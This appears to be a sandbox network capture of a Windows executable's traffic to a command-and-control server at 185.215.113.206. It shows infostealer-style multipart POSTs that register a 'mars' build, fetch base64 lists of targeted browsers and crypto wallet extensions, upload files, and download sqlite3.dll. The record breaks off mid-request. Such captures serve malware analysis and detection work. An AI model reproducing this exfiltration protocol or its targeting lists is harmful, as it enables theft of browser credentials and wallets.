0	192.168.2.6	49714	185.215.113.206	80	7376	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 00:19:14.174240112 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 00:19:15.574301958 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 00:19:15.577589035 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 46 37 46 41 43 34 42 42 32 45 38 32 30 37 38 35 38 38 37 32 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="hwid"5F7FAC4BB2E82078588720------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="build"mars------GHDBAFIIECBFHIEBKJJK--
Nov 28, 2024 00:19:16.046084881 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 47 45 7a 4d 54 49 78 4d 44 63 30 59 6a 52 6d 4e 54 55 77 4e 54 49 35 4e 7a 45 30 4d 6d 4d 78 5a 44 59 7a 4e 54 42 6a 4d 6a 45 31 5a 44 64 6a 5a 54 42 6c 4e 44 64 6d 4e 7a 51 34 5a 54 5a 6c 4d 32 55 78 4f 57 4e 69 59 7a 6c 6a 59 7a 67 79 5a 44 56 6a 4f 44 5a 6c 4f 44 4d 30 4d 32 49 32 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OGEzMTIxMDc0YjRmNTUwNTI5NzE0MmMxZDYzNTBjMjE1ZDdjZTBlNDdmNzQ4ZTZlM2UxOWNiYzljYzgyZDVjODZlODM0M2I2fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 28, 2024 00:19:16.047727108 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEBGHCFCAAFIECAFIII Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 2d 2d 0d 0a Data Ascii: ------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="message"browsers------BAEBGHCFCAAFIECAFIII--
Nov 28, 2024 00:19:16.500514984 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 28, 2024 00:19:16.500598907 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 28, 2024 00:19:16.670959949 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="message"plugins------CAAEBKEGHJKEBFHJDBFC--
Nov 28, 2024 00:19:17.124258995 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 28, 2024 00:19:17.124289989 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Nov 28, 2024 00:19:17.124300003 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Nov 28, 2024 00:19:17.124449015 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Nov 28, 2024 00:19:17.124461889 CET	1236	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Nov 28, 2024 00:19:17.124480009 CET	1236	IN	Data Raw: 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 77 78 66 44 42 38 4d 48 78 61 62 32 Data Ascii: a2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnB
Nov 28, 2024 00:19:17.132846117 CET	1040	IN	Data Raw: 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 31 71 62 57 4e 76 62 32 6c 6d 59 6e Data Ascii: MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20
Nov 28, 2024 00:19:17.134601116 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBKJDGIJECFIEBFIDHC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 2d 2d 0d 0a Data Ascii: ------GDBKJDGIJECFIEBFIDHCContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------GDBKJDGIJECFIEBFIDHCContent-Disposition: form-data; name="message"fplugins------GDBKJDGIJECFIEBFIDHC--
Nov 28, 2024 00:19:17.587219954 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 28, 2024 00:19:17.620086908 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFC Host: 185.215.113.206 Content-Length: 8299 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 00:19:17.620131016 CET	8299	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 28, 2024 00:19:18.616031885 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 00:19:18.931498051 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 00:19:19.384031057 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 28, 2024 00:19:19.384160042 CET	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 28, 2024 00:19:19.386387110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49766	185.215.113.206	80	7376	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 00:19:28.695012093 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJK Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 